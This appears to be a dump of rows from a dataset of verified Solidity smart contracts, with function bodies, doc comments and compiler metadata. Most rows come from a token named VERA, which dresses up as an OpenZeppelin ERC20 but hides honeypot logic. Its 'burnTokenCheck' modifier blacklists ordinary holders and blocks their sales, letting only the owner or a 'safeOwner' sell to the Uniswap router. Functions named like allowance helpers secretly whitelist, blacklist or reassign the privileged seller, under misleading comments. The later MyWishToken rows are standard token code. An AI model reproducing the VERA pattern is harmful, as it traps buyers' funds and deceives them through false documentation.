function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
|
NatSpecMultiLine
|
_setupDecimals
|
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
|
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
None
|
ipfs://98d0a6c8936273b62fb4f0e5e5ff98bc9019165d621672c8f8ce23e392001666
|
{
"func_code_index": [
12990,
13085
]
}
| 55,463 |
VERA
|
VERA.sol
|
0xb5d018cc53dda89b5a17fa3d1f88ad580250c111
|
Solidity
|
VERA
|
contract VERA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
|
NatSpecMultiLine
|
_beforeTokenTransfer
|
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
|
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
None
|
ipfs://98d0a6c8936273b62fb4f0e5e5ff98bc9019165d621672c8f8ce23e392001666
|
{
"func_code_index": [
13683,
13780
]
}
| 55,464 |
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Ownable
|
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
|
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
|
NatSpecMultiLine
|
Ownable
|
function Ownable() {
owner = msg.sender;
}
|
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
273,
334
]
}
| 55,465 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
Ownable
|
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
|
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
|
NatSpecMultiLine
|
transferOwnership
|
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
|
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
683,
868
]
}
| 55,466 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
BasicToken
|
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
|
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
|
NatSpecMultiLine
|
transfer
|
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
|
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
283,
649
]
}
| 55,467 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
BasicToken
|
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
|
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
|
NatSpecMultiLine
|
balanceOf
|
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
|
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
865,
982
]
}
| 55,468 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
StandardToken
|
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
|
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
|
NatSpecMultiLine
|
transferFrom
|
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
|
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
406,
984
]
}
| 55,469 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
StandardToken
|
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
|
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
|
NatSpecMultiLine
|
approve
|
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
|
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
1230,
1814
]
}
| 55,470 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
StandardToken
|
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
|
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
|
NatSpecMultiLine
|
allowance
|
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
|
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
2150,
2296
]
}
| 55,471 |
|
MyWishToken
|
MyWishToken.sol
|
0x1b22c32cd936cb97c28c5690a0695a82abf688e6
|
Solidity
|
StandardToken
|
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
